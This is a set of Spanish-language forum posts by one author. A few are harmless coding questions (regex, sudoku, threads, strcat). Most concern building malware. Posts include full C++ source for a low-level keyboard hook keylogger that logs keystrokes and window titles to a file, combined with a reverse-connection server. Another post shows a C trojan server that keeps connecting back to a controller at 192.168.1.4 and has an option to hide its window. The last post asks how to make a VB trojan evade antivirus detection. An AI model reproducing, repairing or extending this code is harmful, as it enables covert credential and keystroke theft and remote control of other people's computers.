Hola que tal, estoy empezando con esto de las expresiones regulares, la siguiente me captura dentro de una cadena de texto todo lo que este dentro los simbolos de comnetarios de PHP por ejemplo:  

Esta seria su ER

Ahora si desearia capturar aquellos comentarios pero que estan en varias lineas, ¿Cual seria la expresion?
Es decir para comentarios tipo:


He tratado de utilizar los modificadores de \n \r \m pero sin resultados.

Saludos

Siempre que me he puesto a resolver algun sudoku mi primer problema era obtener los candidatos para cada celda vacia, luego de un largo quebradero de cabeza los hallaba pero cabia la posibilidad de caer en errores, algunos sudoku on-line te permitian ver todos los candidatos de una celda pero para sus propios sudokus, en mi caso mis sudokus son de mi telefono movil y alli no tengo tal opcion, de manera que me puse a codear en VB y he aqui este pequeño código que obtiene los candidatos para las celdas de un sudoku correctamente propuesto. Lo he hecho en el control MSHFlexGrid por lo que se debe agregar en los componentes para que el programa pueda ejecutar correctamente.

Es evidente que el programa NO RESUELVE un sudoku, lo cual me parece bien, pues para resolverlo, cada uno debe poder hacerlo y asi ejercitarse, ademas que terminarlo es bastante gratificante, aunque debe serlo tambien realizar un code que haga que el propio ordenador lo haga por nosotros. En fin gusto de cada uno, en mi caso prefiero resolverlo manualmente.

Bueno, sin mas, aquí el código para quien le sirva:

El sudoku propuesto: (Boton Iniciar Sudoku)


El sudoku propuesto con todos sus candidatos: (Boton Encontrar Candidatos)

Buenas a todos, googleando, encontre este ejemplo de creacion de un HILO y modificandolo un poco llama a una funcion y ésta a su vez ejecuta un bucle de 1000 iteraciones, al hacerlo correr en VS2005, la ventana tipica aparece pero al parecer la aplicacion o no crea el hilo o no detecta cuando éste ha terminado, les dejo el codigo:

#define _WIN32_WINNT 0x0500
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>
#include <string>
#include <atlstr.h>
 
/*Declaraciones para nuestro hilo*/
DWORD WINAPI ThreadFunc( LPVOID );
UINT TerminoProceso;
static DWORD dwThreadId;
static HANDLE hThread=NULL;
DWORD cod;
char cade[20];
 
 
 
 
MSG messages;
 
// Global variables
int a;
int b;
int c;
CString t;
 
 
 
// El nombre de la clase de la ventana principal
static TCHAR szWindowClass[] = _T("VentanaWin32");
 
// El texto que aparece en la ventana principal
static TCHAR szTitle[] = _T("Una ventana tipica de win32");
 
 
HINSTANCE hInst; //variable global para 
 
//El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
 
/************************************************************/
/************************FUNCION PRINCIPAL*******************/
/************************************************************/
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
 
 
/*Creamos el hilo*/	
hThread = CreateThread( 
		NULL,						// sin atributos de seguridad
		0,							// Tamaño de la pila por defecto
		ThreadFunc,					// Funcion del hilo
        hInstance,						// argumento de la funcion del hilo (pasado por referencia)
		0,							// creacion de banderas por defecto
		&dwThreadId);				// puntero a la variable donde se guardara el id del hilo
 
 
 
 
    //Esta estructura contiene información sobre la ventana, tal como el icono de la aplicación, 
	//el color de fondo de la ventana, el nombre que aparece en la barra de título, 
	//el nombre de la función de procedimiento de ventana, etc.	
	WNDCLASSEX wcex;
 
    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    if (!RegisterClassEx(&wcex)){
        MessageBox(NULL,
            _T("Call to RegisterClassEx failed!"),
            _T("Win32 Guided Tour"),
            NULL);
        return 1;
    }    
	hInst = hInstance;
    HWND hWnd = CreateWindow(
        szWindowClass,
        szTitle,
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT,
        500, 200,
        NULL,
        NULL,
        hInstance,
        NULL
    );
    ShowWindow(hWnd,
        nCmdShow);
    UpdateWindow(hWnd);
 
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
 
    return (int) msg.wParam;
}
 
 
 
 
/*Funcion que sera ejecutada por el HILO*/
DWORD WINAPI ThreadFunc( LPVOID lpParam )
{
		int i,j=0,l=0;
	HWND *mhwnd,mHwnd;
 
	mhwnd=(HWND*)lpParam;
	mHwnd=*mhwnd;
 
 
	for(i=0;i<10000;i++)
	{
		j++;
	}
	PostMessage(mHwnd,TerminoProceso,0,0); //cuando finalice...
	return (DWORD)l;
}
 
 
//Callback de los mensajes...
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    PAINTSTRUCT ps;
    HDC hdc;
    TCHAR greeting[] = _T("Probando Hilos...");
 
 
 
		/*para reconocer cuando termina el HILO y asi poder destruirlo*/
		if(message==TerminoProceso)
		{
			cod=GetExitCodeThread(hThread,&cod);
			while(cod==STILL_ACTIVE)
			{
				GetExitCodeThread(hThread,&cod);
			}
			a=(int)cod;
			itoa(a,cade,10);
			MessageBoxW(hWnd,L"dddd",L"info",MB_ICONINFORMATION);
			CloseHandle(hThread);
			hThread=NULL;
			return 0;
		}
 
 
	//procesamos los mensajes principales
	switch (message)
    {
 
		case WM_CREATE:
		/*registramos un nuestro mensaje personalizado para detectar el momento en que el hilo termina*/
		TerminoProceso=RegisterWindowMessage("ProcesoFin");
	break;
 
    case WM_PAINT:
        hdc = BeginPaint(hWnd, &ps);
		/*un mensaje comun en la ventana*/
        TextOut(hdc,5, 5,greeting, _tcslen(greeting));		
        EndPaint(hWnd, &ps);
    break;
 
 
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
 
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
        break;
    }
 
    return 0;
}
 
 

Pienso que estoy pasando mal algun parametro a CreateThread, alguna sugerencia.???

Le he dado vueltas y vueltas al tema de Sockets para reescribir mi servidor en C++ (usando Visual Studio 2005) y llegue a este punto del cual me es imposible salir sin su ayuda, se que el codigo puede estar un tanto desordenado pero ruego que me entiendan  y desde ya gracias por su ayuda.

En fin posteo mi avance para que alguien que se anime a compilarlo y ver por que se dan los errores que explico a continuacion:

 1. Es un proyecto normal de Win32 (Con ventana)
 2. En la entrada principal al WinMain instalo el hook al teclado
 3. Luego Inicializo el Socket
 4. En el mensaje WM_CREATE, creo un timer cada 2 segundos
 5. Al recibir el evento WM_TIMER, hago que mi timer envie la peticion cada 2 segundos. Y AL HACER ESTO, TODO WINDOWS QUEDA SEMI BLOQUEADO, LAS LETRAS TARDAN EN APARECER POR EJEMPLO EN EL BLOC DE NOTAS LAS VENTANAS DIFICILMENTE SE ARRASTRAN Y EL HOOK DEL KEYLOGGER FUNCIONA A MEDIAS AL NO LOGEAR ALGUNAS TECLAS DE LO QUE SE ESCRIBE.

PERO SI QUITO LAS LLAMADAS A LAS FUNCIONES QUE INICIALIZAN O CONECTAN EL SOCKET TODO FUNCIONA BIEN. LO QUE ME HACE PENSAR QUE ALGO VA MAL ALLI.








La idea de este codigo es un Server (Conexion Inversa) que deberia funcionar al lado de un Hook al teclado. 

Veamos:

• Archivo->Nuevo->Proyecto->Aplicacion Win 32
• ALT+F7->Propiedades de Configuracion->Juego de Caracteres->Multibyte

 
#define _WIN32_WINNT 0x0500
#define _CRT_SECURE_NO_DEPRECATE
 
#include <windows.h>
#include <stdlib.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <atlstr.h>
#include <stdio.h>
#include <winuser.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
 
 
 
//FUNCION QUE MUESTRA EN EL TITULO LO QUE LE INDIQUEMOS, PARA FINES DE DEPURACION
void AlTitulo(char *Buffer);
 
 
//FUNCION DEL KEYLOGGER: MIRA SI LA TECLA CAPS ESTA PRESIONADA O NO
int isCapsLock(){
     if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0)   return 1;
     else   return 0; }
 
//CALLBACK DEL HOOK AL TECLADO
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam);
 
//ALGUNAS VARIABLES PARA EL KEYLOGGER
HWND ventana; //EL HANDLE DE LA VENTANA ACTIVA
char TVentana[500]; //EL TITULO
char tp[500];
char bufferKL[5]; 
string HISTORY; //DONDE ACUMULAREMOS LO QUE SE ESTA DIGITANDO
 
 
 
 
//DEFINICIONES PARA NUESTRO SOCKET
WSADATA wsa;
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
int ts=-1;
int len=100;
char Buffer[1024];
 
//UNA FORMA DE SEPARAR LO QUE LLEGARA DESDE EL CLIENTE
void DArrival();
 
 
//FUNCIONES PARA MANIPULAR NUESTRO SOCKET
 
                       //INICIALIZAMOS NUESTRO SOCKET
			void inicializar(){
			   WSAStartup(MAKEWORD(2,2),&wsa);			   
			   host=gethostbyname("127.0.0.1");
			   //creamos el socket
			   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 
			   //direccion y puerto
			   direc.sin_family=AF_INET;
			   direc.sin_port=htons(1234); 
			   direc.sin_addr = *((struct in_addr *)host->h_addr);
			   memset(direc.sin_zero,0,8);
 
			}
 
                       //CONECTAMOS, NOS DEVOLVERA UN VALOR SEGUN SI SE CONECTA O NO
			int conectar(){
			   //Intentamos establecer la conexión hasta que lo logremos
			   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
			   return conex;
			}
 
			//PARA CERRAR EL SOCKET
                       void cerrar(){
			closesocket(sock);
			}
 
 
 
MSG messages; //PARA EL BUCLE DE MENSAJES DE LA APLICACION
 
 
#define TIMER_ID1 1 /*PRIMER TIMER QUE SE ENCARGARA DE LANZAR LOS INTENTOS DE CONEXION CADA 2 SEGUINDOS*/
 
// El nombre de la clase de la ventana principal
static TCHAR szWindowClass[] = _T("VentanaWin32");
 
// El texto que aparece en la ventana principal
static TCHAR szTitle[] = _T("Una ventana tipica de win32");
 
 
HINSTANCE hInst; //variable global sacar el HINSTANCE del WinMain
 
//El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
 
 
 
UINT mt; //PARA IDENTIFICAR A NUESTRO /*PRIMER TIMER*/
 
//FUNCION PRINCIPAL
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
/*ENTRADA PRINCIPAL: COMIENZA LA ODISEA...*/
{
 
len=sizeof(struct sockaddr); //INICIAMOS LEN PARA NUESTRO SOCKET
inicializar(); //INICIALIZAMOS EL SOCKET /*SI QUITO ESTO TODO VA BIEN, SINO WINDOWS VA MUY LENTO: PERO SI LO QUITO COMO Y DONDE INICIALIZO EL SOCKET??? */
 
        //INSTALAMOS EL HOOK AL TECLADO
	HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,capturaTeclas,hInstance,0);
 
 
    //Esta estructura contiene información sobre la ventana
    WNDCLASSEX wcex;
    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
 
    //registramos la clase
	if (!RegisterClassEx(&wcex)) return 1;
 
    //almacenamos 'hInstance' que es un parametro de la funcion principal WinMain en una variable Global
	hInst = hInstance;
 
    //parametros para crear la ventana  principal
	HWND hWnd = CreateWindow(szWindowClass,szTitle,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT,500, 200,NULL,NULL,hInstance,NULL);
 
	//mostramos la ventanA
    ShowWindow(hWnd,nCmdShow);
    UpdateWindow(hWnd);
 
 
   MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
 
    return (int) msg.wParam;
}
 
 
//funcion para procesar los mensajes de la ventana principal
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    PAINTSTRUCT ps;
    HDC hdc;
    TCHAR greeting[] = _T("Hola A todos");
 
    switch (message)
    {
	case WM_CREATE:
               /*CREAMOS NUESTRO TIMER QUE HARA QUE EL SOCKET LANZE LA PETICION DE CONEXION CADA 2 SEGUNDOS*/
		mt=SetTimer(hWnd, TIMER_ID1, 2000, 0);
	break;
 
 
        //USAMOS ESTE MENSAJE EN VEZ DE UN CALLBACK
	case WM_TIMER:
			switch (wParam){
				case TIMER_ID1: /*<--- PRIMER TIMER */
 
						      //CADA 2 SEGUNDOS INTENTARA CONECTAR
                                                       if(ts==-1){
							ts=conectar(); /*IGUAL: SI QUITO ESTO VA BIEN PERO SINO WINDOWS VA MAL*/
                                                       //Y NOS AVISARA EN EL TITULO DE LA VENTANA
							AlTitulo("Intento de conexion enviada...");							
							}
                                                       //CUANDO LOGRE CONECTARSE...
                                                        else{
								DArrival(); //LLAMAMOS A ESTA FUNCION
								KillTimer(NULL,mt); 
 
							}		
 
				break;
 
 
 
                                //MAS ADELANTE QUIZA NECESITEMOS UN SEGUNDO TIMER
				//case TIMER_ID2: //<--- Segundo Timer
				//break;
			}
 
	break;
 
 
 
    case WM_PAINT:
       hdc = BeginPaint(hWnd, &ps); //aqui iniciamos
      //MOSTRAMOS UN SALUDO
       TextOut(hdc,5, 5,greeting, _tcslen(greeting));		
        EndPaint(hWnd, &ps); //aqui terminamos
    break;
 
 
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
 
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
        break;
    }
 
    return 0;
}
 
 
/*LA FUNCION QUE DEBERIA LLAMARSE CUANDO EL SOCKET SE CONECTA*/
/*PERO ESTO YA NO SE EJECUTA O AL MENOS NO HIZE LAS PRUEBAS HASTA AQUI*/
void DArrival(){
				while (len!=0){ //mientras estemos conectados 
						   len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
 
							if (len>0){ //si seguimos conectados
								Buffer[len]=0; //le ponemos el final de cadena
 
								AlTitulo(Buffer);
 
 
							}
				}
				ts=-1;
 
}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
//DEFINICION DE LA FUNCION DEL HOOK, ESTO FUNCIONA NO HAY MUCHO QUE DECIR AQUI.
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {
 
	PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
	DWORD Tecla = puntero->vkCode; 
 
	     //vemos si wParam es igual a WM_KEYDOWN (tecla presionada)
		if (wParam == WM_KEYDOWN ||  wParam == WM_SYSKEYDOWN) {
			switch (puntero->vkCode) {
				case VK_RETURN:	//SI PRESIONA ENTER GUARDAMOS EN EL LOG LO QUE SE HA ACUMULADO EN 'HISTORY'
 
					HISTORY.append("\n");					
 
					{ 
						FILE *mif=fopen("logger2.txt","a+");
						fputs(HISTORY.c_str(),mif); //guardamos.	
						fclose(mif); 
					} 
					HISTORY="";
 
					break;  //se presiono un enter
 
				case VK_LMENU:	HISTORY.append("[AI]"); break;  //la tecla alt
				case VK_RMENU:  HISTORY.append("[AD]"); break;  //la tecla alt
				case VK_BACK:	HISTORY.append("[<]");    break; //la tecla retroceso
				case VK_TAB:	HISTORY.append("[T]");    break; //la tecla tabulador
				case VK_END :	HISTORY.append("[F]");    break; //la tecla fin
				case VK_HOME:	HISTORY.append("[I]");    break; //la tecla home
				case VK_LEFT:	HISTORY.append("[L]");    break; //la tecla felcha izquierda
				case VK_UP:		HISTORY.append("[U]");    break; //la tecla flecha arriba
				case VK_RIGHT:	HISTORY.append("[R]");    break; //la tecla flecha derecha
				case VK_DOWN:	HISTORY.append("[D]");    break; //la tecla flecha abajo
				case VK_DELETE:	HISTORY.append("[S]");    break; //la tecla suprimir
				case VK_MULTIPLY:HISTORY.append("*");    break; //la tecla * del teclado num
				case VK_ADD:	HISTORY.append("+");    break; //la tecla + del teclado num
				case VK_SUBTRACT:HISTORY.append("-");    break; //la tecla -
				case VK_DIVIDE:	HISTORY.append("/");    break; //la tecla /
				case VK_DECIMAL:HISTORY.append(".");    break; //la tecla . del teclado num
				case VK_CAPITAL:HISTORY.append("[CAPS]");    break; //CAPS LOCK
 
				//registramos las teclas normales
				default:
							if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
								if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){ 
								puntero->vkCode+=32; 
 
 
 
								sprintf(bufferKL,"%c",puntero->vkCode);
								HISTORY.append(bufferKL); 
 
								}else{
									sprintf(bufferKL,"%c",puntero->vkCode);
									HISTORY.append(bufferKL);
								}
 
							}
							if (Tecla==VK_SPACE){ //espacio en blanco								
								HISTORY.append(" ");
							}
 
 
 
			}
		//GUARDAMOS CON EL TITULO DE VENTANA
 
			if(GetForegroundWindow()!=ventana){ 
				ventana=GetForegroundWindow(); 
				GetWindowText(ventana,TVentana,80); 
				sprintf(tp,"\n[%s]\n",TVentana); 
				HISTORY.append(tp); 
				}
 
		}
 
   //en el caso de que haya otro hook instalado, le damos el pase para que haga lo suyo 
	return CallNextHookEx(NULL, nCode, wParam, lParam);
}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
/*****************FUNCIONES UTILES*************************************/
void AlTitulo(char *Buffer){
	HWND ventana;
	ventana=GetForegroundWindow();
	SetWindowText(ventana,Buffer);
 
	}
 

Resumiendo la consulta:

¿por que windows se detiene o se pone lento cuando con un timer hago que el socket de este server se conecte a su cliente?, el timer esta a 2 segundos, al sacar las llamadas a las funciones de 'inicializar' y 'conectar', todo va bien pero obviamente necesito hacer eso para poder conectarme.

Un Saludo.

Que tal, pues lo del asunto, cual es la forma correcta de saber si un socket normal esta o no conectado en C++???.

Recuerdo que en basic, teniamos la propiedad 'State' que nos decia en cualquier momento si el Socket estaba o no conectado.

Agradecido desde ya por su tiempo y respuesta.

Hola, tengo el siguiente codigo:
 * Un puntero cad a char
 * De tamaño 10
 
Luego de inicializarlo con strcpy, voy agregando cadenas con strcat, pero al ser la variable cad de 10 elementos, ¿no deberia haber un error?


Ademas mi idea es concatenar 'n' caracteres y no solamente '10', es decir no se sabe cuantas cadenas recibira la variable cad, ¿cual seria la declaracion?

#include <stdio.h>
#include <string.h>
 
int main()
{
 
	char *cad;
 
	cad=new char[10]();
	strcpy(cad,"");
 
	strcat(cad,"123");	
	strcat(cad,"456");
	strcat(cad,"789");
 
	strcat(cad,"abc"); //<-- Aqui deberia haber un error
	strcat(cad,"def"); //<-- Aqui tambien pero el programa corre
 
        strcat(cad,"def"); //<-- Aqui el programa cierra abruptamente
 
	printf("%s\n",cad); 
 
	return 0;
 
}
 

Saludos.

Hola amigos:

Estoy haciendo un hook al teclado y al tratar de capturar los corchetes mi codigo no lo hace, tampoco detecta el ALT-Izquierdo ni el ALT-Derecho.

Al menos en mi teclado, el corchete de apertura esta asi:
[`^ todo eso en una tecla (el corchete de apertura sale al presionar ALTGR+la tecla esa)
+*] todo eso en una tecla (el corchete de cierre sale al presionar ALTGR+la tecla esa)


tengo lo siguiente:

LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {
 
	PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
	DWORD Tecla = puntero->vkCode;
 
		if (wParam == WM_KEYDOWN) {
 
			switch (puntero->vkCode) {
				case VK_RETURN:	fputs("\n",f);		      break;  //ENTER DETECTADO
				case VK_LMENU:		fputs(" [AltI] ",f);	  break;  //¿POR QUE NO DETECTA ESTA TECLA?
				case VK_RMENU:		fputs(" [AltD] ",f);	  break;  //¿POR QUE NO DETECTA ESTA OTRA TECLA?
 
				case VK_RIGHT:	fputs("[D]",f);    break; //la tecla flecha derecha. OK
				case VK_DOWN:	fputs("[D]",f);    break; //la tecla flecha abajo. OK
				case VK_DELETE:	fputs("[S]",f);    break; //la tecla suprimir		
 
 
				//capturamos las teclas normales
				default:
 
							if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
								if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){ 
 
								puntero->vkCode+=32; // a minusculas
								fputc(puntero->vkCode,f);					
								}else{  
								fputc(puntero->vkCode,f);
								}
 
							}
							if (Tecla==VK_SPACE){ //espacio en blanco
								fputs(" ",f);
							}
 
							if (Tecla==190){ //detecta correctamente el punto y los dos puntos
							  if (!(GetAsyncKeyState(VK_SHIFT))) 
								fputs(".",f); //punto
							  else
								fputs(":",f); //dos puntos
							}
 
							if (Tecla==188){ //coma y punto y coma. OK
							  if (!(GetAsyncKeyState(VK_SHIFT))) 
								fputs(",",f); 
							  else
								  fputs(";",f); 
							}
 
							if (Tecla==189){ //guion y sub guion. OK
							  if (!(GetAsyncKeyState(VK_SHIFT))) 
								fputs("-",f); //
							  else
								  fputs("_",f); //
							}
 
 
 
/*ESTE ES EL CODIGO QUE NO TRABAJA, EL PROGRAMA EJECUTA PERO POR 
ALGUNA RAZON NO PUEDE CAPTURAR NI EL ALTGR NI EL CORCHETE DE APERTURA*/
 
							if (Tecla==186){ //ERROR ¿POR QUE NO DETECTA LA TECLA DONDE ESTA MI CORCHETE DE APERTURA?
								if ((GetAsyncKeyState(VK_SHIFT))){ //si esta presionado SHIFT
								  if (!GetAsyncKeyState(165)) //si no esta presionado ALTGR
								    fputs("`",f); //
								}							
							  else
								  if (GetAsyncKeyState(165)) //si esta presionado ALTGR
								    fputs("[",f); //corchete capturado <-- pero no funciona
								  else
									  fputs("^",f); 
 
 
							}
[/color]
 
 
 
 
 
 
 
			}
		}    
  	return CallNextHookEx(NULL, nCode, wParam, lParam);
}
 
 

He probado con VK_OEM_4 pero tampoco.
¿Alguna sugerencia?.

Buenas a todos

Me he pasado varias horas googleando a cerca de esta interesante API para 'enganchar' al teclado y a otras cosas, pero la mucha info que hay, esta al 90% en ingles y me cuesta entenderlo, por lo que pido ayuda a alguna alma caritativa para poder entenderla y ojala con un ejemplo funcional para a partir de alli poder crear por ejemplo un keylogger simple.

Por lo que he logrado entender, seria mejor usar un hook a WH_KEYBOARD_LL y no a WH_KEYBOARD, ya que esta ultima dependeria de una DLL.

Y por ultimo, ya que estoy bajo Visual C++ 2005, cual es el mejor escenario para poder crear por ejemplo un keylogger, una aplicación de consola o una aplicacion de Win32.

Se que puedo estar preguntando cosas sin saber pero justamente por eso os pido que me orienten un poco.

Saludos y muchas gracias desde ya.

Hola a todos, estoy iniciandome con los Sockets en C y he tomado un code del amigo EON, crea un socket (servidor, en conexion inversa) y envia o intenta conectarse con su cliente que esta hecho en Basic:

Servidor:

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
 
#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
void main(void)
{
//ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la
//consola y poner el programa como proceso. Por ahora la dejamos asi.
 
WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
char Buffer[1024];
int len;
//Inicializamos
WSAStartup(MAKEWORD(2,2),&wsa);
//Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para
//hacer las pruevas
 
host=gethostbyname("192.168.1.4"); //localhost = 127.0.0.1 ;P
//creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==-1)
{
//Si se produce un error al crear el socket
main(); //Llamamos de nuevo a la función principal para seguir intentandolo
}
//Definimos la dirección a conectar que hemos recibido desde el gethostbyname
//y decimos que el puerto al que deberá conectar
direc.sin_family=AF_INET;
direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el
//usuario cuando hagamos el server edit
direc.sin_addr = *((struct in_addr *)host->h_addr);
memset(direc.sin_zero,0,8);
//Intentamos establecer la conexión hasta que lo logremos
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
while (conex==-1)
{ //Esto es lo que hará si no se puede conetar:
Sleep(250); //Hacemos q el programa se detenga un poco, cuando se termine el
//troyano conviene subir este intervalo
//Por ahora lo dejamos asi para hacer mas comodas las pruevas
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos
//establecer la conexión de nuevo hasta que lo logremos.
printf("\nSe ha intentado conectar con el cliente...");
}
 
//printf("\n\n Ok, ");
len=send(sock,"aqui C++",8,0); //Como somos muy educados saludamos xDD el 4 despues
//del hola indica el nº de
//caracteres a enviar
 
while (len!=0){ //Mientras que permanezcamoos conectados
 
	len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
	if (len>0) //Si seguimos conectados...
	{
		Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena
 
		//Aki hay q poner el conjunto de if's para las acciones
	}
}
 
main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando
//conectarse
}
 

Muy bien, todo compila normalmente, ahora el cliente es un WINSOCK normal en Basic con su localport = 1234 con su boton 'Iniciar la Escucha'.

Al correr cliente y servidor y poner a la escucha el cliente, el servidor de C efectivamente lanza su peticion al cliente y éste lo detecta en su evento 'ConnectionRequest', PERO A PROPOSITO HAGO QUE NO LO ACEPTE, por lo que el servidor deberia seguir intentando conectarse con su cliente, lo que noto que pasa es que el servidor al enviar la peticion y notar que el cliente lo ha detectado, deja de enviar peticiones, ademas cuando cierro el cliente el servidor deberia volver a realizar infinitos intentos de conectarse con su cliente hasta que éste lo acepte con un Accept().

 ¿Que sucede?

Desde ya gracias por su tiempo y ayuda.

Hola que tal, espero puedan orientarme con este tema.

El avira (y lo mas seguro otros antivirus) me esta detectando mi proyecto en VB de troyano como malware, lo sé, era de esperarse ya que las llamadas a la API o al registro de Windows lo hago asi, sin ningun tipo de cifrado o algo parecido. Mi pregunta es: ¿Hasta la fecha hay algun metodo efectivo que ayude a saltarse el antivirus?.. He leido sobre cifrar el proyecto pero al menos el de Karcrack no me ha funcionado, deja muchas lineas en rojo, tambien lo de las llamadas a las APIS no de la forma convencional sino de una tal que el antivirus no lo detecta, aun asi el tema no me ha quedado muy claro y por eso el motivo del post.

Desde ya gracias por su ayuda.

Saludos.